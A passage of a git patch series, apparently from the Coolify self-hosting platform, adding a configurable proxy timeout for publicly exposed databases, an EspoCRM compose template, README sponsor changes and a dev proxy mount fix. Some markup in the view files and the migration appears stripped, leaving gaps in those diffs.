$this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -179,6 +185,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index e24674315..fa8c69789 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -48,6 +48,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -93,6 +95,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -111,6 +114,7 @@ protected function messages(): array 'postgresDb.required' => 'The Postgres Database field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', ] ); @@ -130,6 +134,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Run Options', 'enableSsl' => 'Enable SSL', 'sslMode' => 'SSL Mode', @@ -174,6 +179,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -196,6 +202,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 08bcdc343..be2242024 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -36,6 +36,8 @@ class General extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isLogDrainEnabled = false; public ?string $customDockerRunOptions = null; @@ -74,6 +76,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'redisUsername' => 'required', @@ -90,6 +93,7 @@ protected function messages(): array 'name.required' => 'The Name field is required.', 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', + 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', 'redisUsername.required' => 'The Redis Username field is required.', 'redisPassword.required' => 'The Redis Password field is required.', ] @@ -104,6 +108,7 @@ protected function messages(): array 'portsMappings' => 'Port Mapping', 'isPublic' => 'Is Public', 'publicPort' => 'Public Port', + 'publicPortTimeout' => 'Public Port Timeout', 'customDockerRunOptions' => 'Custom Docker Options', 'redisUsername' => 'Redis Username', 'redisPassword' => 'Redis Password', @@ -143,6 +148,7 @@ public function syncData(bool $toModel = false) $this->database->ports_mappings = $this->portsMappings; $this->database->is_public = $this->isPublic; $this->database->public_port = $this->publicPort; + $this->database->public_port_timeout = $this->publicPortTimeout; $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; $this->database->custom_docker_run_options = $this->customDockerRunOptions; $this->database->enable_ssl = $this->enableSsl; @@ -158,6 +164,7 @@ public function syncData(bool $toModel = false) $this->portsMappings = $this->database->ports_mappings; $this->isPublic = $this->database->is_public; $this->publicPort = $this->database->public_port; + $this->publicPortTimeout = $this->database->public_port_timeout; $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; $this->customDockerRunOptions = $this->database->custom_docker_run_options; $this->enableSsl = $this->database->enable_ssl; diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index 360282911..f12a11215 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -53,6 +53,8 @@ class Index extends Component public ?int $publicPort = null; + public ?int $publicPortTimeout = 3600; + public bool $isPublic = false; public bool $isLogDrainEnabled = false; @@ -90,6 +92,7 @@ class Index extends Component 'image' => 'required', 'excludeFromStatus' => 'required|boolean', 'publicPort' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', // Application-specific rules @@ -158,6 +161,7 @@ private function syncDatabaseData(bool $toModel = false): void $this->serviceDatabase->image = $this->image; $this->serviceDatabase->exclude_from_status = $this->excludeFromStatus; $this->serviceDatabase->public_port = $this->publicPort; + $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout; $this->serviceDatabase->is_public = $this->isPublic; $this->serviceDatabase->is_log_drain_enabled = $this->isLogDrainEnabled; } else { @@ -166,6 +170,7 @@ private function syncDatabaseData(bool $toModel = false): void $this->image = $this->serviceDatabase->image; $this->excludeFromStatus = $this->serviceDatabase->exclude_from_status ?? false; $this->publicPort = $this->serviceDatabase->public_port; + $this->publicPortTimeout = $this->serviceDatabase->public_port_timeout; $this->isPublic = $this->serviceDatabase->is_public ?? false; $this->isLogDrainEnabled = $this->serviceDatabase->is_log_drain_enabled ?? false; } diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index 7b0abe59e..c6a0143a8 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -11,6 +11,10 @@ class ServiceDatabase extends BaseModel protected $guarded = []; + protected $casts = [ + 'public_port_timeout' => 'integer', + ]; + protected static function booted() { static::deleting(function ($service) { diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 86323db8c..33f32dd59 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -19,6 +19,7 @@ class StandaloneClickhouse extends BaseModel protected $casts = [ 'clickhouse_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 4db7866b7..074c5b509 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -19,6 +19,7 @@ class StandaloneDragonfly extends BaseModel protected $casts = [ 'dragonfly_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index f23499608..23b4c65e6 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -19,6 +19,7 @@ class StandaloneKeydb extends BaseModel protected $casts = [ 'keydb_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index e7ba75b67..4d4b84776 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -20,6 +20,7 @@ class StandaloneMariadb extends BaseModel protected $casts = [ 'mariadb_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index d6de5874c..b5401dd2c 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -18,6 +18,7 @@ class StandaloneMongodb extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 98a5cab77..0b144575c 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -20,6 +20,7 @@ class StandaloneMysql extends BaseModel protected $casts = [ 'mysql_password' => 'encrypted', 'mysql_root_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 5d35f335b..92b2efd31 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -20,6 +20,7 @@ class StandalonePostgresql extends BaseModel protected $casts = [ 'init_scripts' => 'array', 'postgres_password' => 'encrypted', + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index e906bbb81..352d27cfd 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -18,6 +18,7 @@ class StandaloneRedis extends BaseModel protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; protected $casts = [ + 'public_port_timeout' => 'integer', 'restart_count' => 'integer', 'last_restart_at' => 'datetime', 'last_restart_type' => 'string', diff --git a/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php b/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php new file mode 100644 index 000000000..defebcce4 --- /dev/null +++ b/database/migrations/2026_02_27_000000_add_public_port_timeout_to_databases.php @@ -0,0 +1,60 @@ +integer('public_port_timeout')->nullable()->default(3600)->after('public_port'); + }); + } + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + $tables = [ + 'standalone_postgresqls', + 'standalone_mysqls', + 'standalone_mariadbs', + 'standalone_redis', + 'standalone_mongodbs', + 'standalone_clickhouses', + 'standalone_keydbs', + 'standalone_dragonflies', + 'service_databases', + ]; + + foreach ($tables as $table) { + if (Schema::hasTable($table) && Schema::hasColumn($table, 'public_port_timeout')) { + Schema::table($table, function (Blueprint $table) { + $table->dropColumn('public_port_timeout'); + }); + } + } + } +}; diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index 2010e0afc..d4b95d444 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -78,6 +78,8 @@
+

Advanced

diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index 2b2e5d355..f33cf1546 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -115,6 +115,8 @@
+

Advanced

diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index 00c30edff..6e69fd76d 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -115,6 +115,8 @@
+
+
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index a474153f1..4202578dd 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -153,6 +153,8 @@
+
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index 8187878e4..cc23cae20 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -155,6 +155,8 @@
+

Advanced

diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 7300b913a..e5cfe4785 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -165,6 +165,8 @@
+
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index f37674186..e0c3e430a 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -134,6 +134,8 @@
+
'$refresh', - ]; - } - public function mount(string $task_uuid, string $project_uuid, string $environment_uuid, ?string $application_uuid = null, ?string $service_uuid = null) { try { From 30e65abf1be972e52a20f8d95a9351aaa039b018 Mon Sep 17 00:00:00 2001 From: Taras Machyshyn Date: Fri, 27 Feb 2026 20:23:24 +0200 Subject: [PATCH 107/305] Added EspoCRM --- public/svgs/espocrm.svg | 82 ++++++++++++++++++++++++++++++++++ templates/compose/espocrm.yaml | 75 +++++++++++++++++++++++++++++++ 2 files changed, 157 insertions(+) create mode 100644 public/svgs/espocrm.svg create mode 100644 templates/compose/espocrm.yaml diff --git a/public/svgs/espocrm.svg b/public/svgs/espocrm.svg new file mode 100644 index 000000000..79d96f8c3 --- /dev/null +++ b/public/svgs/espocrm.svg @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml new file mode 100644 index 000000000..d771e0f53 --- /dev/null +++ b/templates/compose/espocrm.yaml @@ -0,0 +1,75 @@ +# documentation: https://docs.espocrm.com +# slogan: EspoCRM is a free and open-source CRM platform. +# category: cms +# tags: crm, self-hosted, open-source, workflow, automation, project management +# logo: svgs/espocrm.svg +# port: 80 + +services: + espocrm: + image: espocrm/espocrm:latest + environment: + - SERVICE_URL_ESPOCRM + - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} + - ESPOCRM_ADMIN_PASSWORD=${ESPOCRM_ADMIN_PASSWORD:-password} + - ESPOCRM_DATABASE_PLATFORM=Mysql + - ESPOCRM_DATABASE_HOST=espocrm-db + - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm} + - ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB} + - ESPOCRM_DATABASE_PASSWORD=${SERVICE_PASSWORD_MARIADB} + - ESPOCRM_SITE_URL=${SERVICE_URL_ESPOCRM} + volumes: + - espocrm:/var/www/html + healthcheck: + test: ["CMD", "curl", "-f", "http://127.0.0.1:80"] + interval: 2s + start_period: 60s + timeout: 10s + retries: 15 + depends_on: + espocrm-db: + condition: service_healthy + + espocrm-daemon: + image: espocrm/espocrm:latest + container_name: espocrm-daemon + volumes: + - espocrm:/var/www/html + restart: always + entrypoint: docker-daemon.sh + depends_on: + espocrm: + condition: service_healthy + + espocrm-websocket: + image: espocrm/espocrm:latest + container_name: espocrm-websocket + environment: + - SERVICE_URL_ESPOCRM_WEBSOCKET_8080 + - ESPOCRM_CONFIG_USE_WEB_SOCKET=true + - ESPOCRM_CONFIG_WEB_SOCKET_URL=$SERVICE_URL_ESPOCRM_WEBSOCKET + - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBSCRIBER_DSN=tcp://*:7777 + - ESPOCRM_CONFIG_WEB_SOCKET_ZERO_M_Q_SUBMISSION_DSN=tcp://espocrm-websocket:7777 + volumes: + - espocrm:/var/www/html + restart: always + entrypoint: docker-websocket.sh + depends_on: + espocrm: + condition: service_healthy + + espocrm-db: + image: mariadb:latest + environment: + - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm} + - MARIADB_USER=${SERVICE_USER_MARIADB} + - MARIADB_PASSWORD=${SERVICE_PASSWORD_MARIADB} + - MARIADB_ROOT_PASSWORD=${SERVICE_PASSWORD_ROOT} + volumes: + - espocrm-db:/var/lib/mysql + healthcheck: + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] + interval: 20s + start_period: 10s + timeout: 10s + retries: 3 From a2540bd23326b92f35caa797392c97a0a7c0dd51 Mon Sep 17 00:00:00 2001 From: Taras Machyshyn Date: Fri, 27 Feb 2026 20:42:20 +0200 Subject: [PATCH 108/305] Admin password --- templates/compose/espocrm.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml index d771e0f53..130562a78 100644 --- a/templates/compose/espocrm.yaml +++ b/templates/compose/espocrm.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_ESPOCRM - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} - - ESPOCRM_ADMIN_PASSWORD=${ESPOCRM_ADMIN_PASSWORD:-password} + - ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN} - ESPOCRM_DATABASE_PLATFORM=Mysql - ESPOCRM_DATABASE_HOST=espocrm-db - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm} From 6b2a669cb988d4a7788c0411572cec87b95395f1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 27 Feb 2026 22:03:54 +0100 Subject: [PATCH 109/305] docs(sponsors): add huge sponsors section and reorganize list - Create new "Huge Sponsors" section with SerpAPI - Move SerpAPI from Small Sponsors to Huge Sponsors - Replace Dade2 with Darweb - Add Greptile and MVPS as new sponsors --- README.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 276ef07b5..c78e47997 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,10 @@ ## Donations Thank you so much! +### Huge Sponsors + +* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API + ### Big Sponsors * [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions! @@ -70,9 +74,10 @@ ### Big Sponsors * [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform * [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers * [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy -* [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration +* [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions +* [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer * [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions * [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions * [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers @@ -80,6 +85,7 @@ ### Big Sponsors * [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions * [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers * [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity +* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity * [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang * [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting @@ -126,7 +132,6 @@ ### Small Sponsors RunPod DartNode Tyler Whitesides -SerpAPI Aquarela Crypto Jobs List Alfred Nutile From 34c5eb9e10d76771821c90aec67950221016daa3 Mon Sep 17 00:00:00 2001 From: Cinzya Date: Fri, 27 Feb 2026 22:07:37 +0100 Subject: [PATCH 110/305] fix(proxy): mounting error for nginx.conf in dev --- app/Actions/Database/StartDatabaseProxy.php | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 4331c6ae7..5551566eb 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -51,8 +51,9 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St } $configuration_dir = database_proxy_dir($database->uuid); + $host_configuration_dir = $configuration_dir; if (isDev()) { - $configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; + $host_configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; } $nginxconf = << [ [ 'type' => 'bind', - 'source' => "$configuration_dir/nginx.conf", + 'source' => "$host_configuration_dir/nginx.conf", 'target' => '/etc/nginx/nginx.conf', ], ], From 040658c14241c6b962c64354255b7dda9bec5785 Mon Sep 17 00:00:00 2001 From: "Brendan G. Lim" <1788+brendanlim@users.noreply.github.com> Date: Fri, 27 Feb 2026 14:24:04 -0800 Subject: [PATCH 111/305] fix: address review feedback on proxy timeout - Fix disable logic: timeout editable when proxy is stopped - Remove hardcoded proxy_connect_timeout (60s is nginx default) - Remove misleading '0 for no timeout' helper text - Add min:1 validation for timeout value --- app/Actions/Database/StartDatabaseProxy.php | 1 - app/Livewire/Project/Database/Clickhouse/General.php | 3 ++- app/Livewire/Project/Database/Dragonfly/General.php | 3 ++- app/Livewire/Project/Database/Keydb/General.php | 3 ++- app/Livewire/Project/Database/Mariadb/General.php | 3 ++- app/Livewire/Project/Database/Mongodb/General.php | 3 ++- app/Livewire/Project/Database/Mysql/General.php | 3 ++- app/Livewire/Project/Database/Postgresql/General.php | 3 ++- app/Livewire/Project/Database/Redis/General.php | 3 ++- .../livewire/project/database/clickhouse/general.blade.php | 4 ++-- .../livewire/project/database/dragonfly/general.blade.php | 4 ++-- .../views/livewire/project/database/keydb/general.blade.php | 4 ++-- .../views/livewire/project/database/mariadb/general.blade.php | 4 ++-- .../views/livewire/project/database/mongodb/general.blade.php | 4 ++-- .../views/livewire/project/database/mysql/general.blade.php | 4 ++-- .../livewire/project/database/postgresql/general.blade.php | 4 ++-- .../views/livewire/project/database/redis/general.blade.php | 4 ++-- 17 files changed, 32 insertions(+), 25 deletions(-) diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index c7713a965..0d20fa4a4 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -70,7 +70,6 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St listen $database->public_port; proxy_pass $containerName:$internalPort; $timeoutConfig - proxy_connect_timeout 60s; } } EOF; diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index ee2ae7bd4..9de75c1c5 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -82,7 +82,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -103,6 +103,7 @@ protected function messages(): array 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 6d1b5f74f..d35e57a9d 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -93,7 +93,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -113,6 +113,7 @@ protected function messages(): array 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index 19726e413..adb4ccb5f 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -96,7 +96,7 @@ protected function rules(): array 'portsMappings' => 'nullable|string', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'customDockerRunOptions' => 'nullable|string', 'dbUrl' => 'nullable|string', 'dbUrlPublic' => 'nullable|string', @@ -118,6 +118,7 @@ protected function messages(): array 'image.string' => 'The Docker Image must be a string.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index cb7b99a83..14240c82d 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -81,7 +81,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -101,6 +101,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', ] ); } diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 8c7eea1b3..11419ec71 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -80,7 +80,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -100,6 +100,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-full.', ] ); diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 371ab7f68..4f0f5eb19 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -83,7 +83,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 'enableSsl' => 'boolean', @@ -104,6 +104,7 @@ protected function messages(): array 'image.required' => 'The Docker Image field is required.', 'publicPort.integer' => 'The Public Port must be an integer.', 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.', + 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.', 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', ] ); diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index fa8c69789..4e044672b 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -95,7 +95,7 @@ protected function rules(): array 'portsMappings' => 'nullable', 'isPublic' => 'nullable|boolean', 'publicPort' => 'nullable|integer', - 'publicPortTimeout' => 'nullable|integer', + 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', 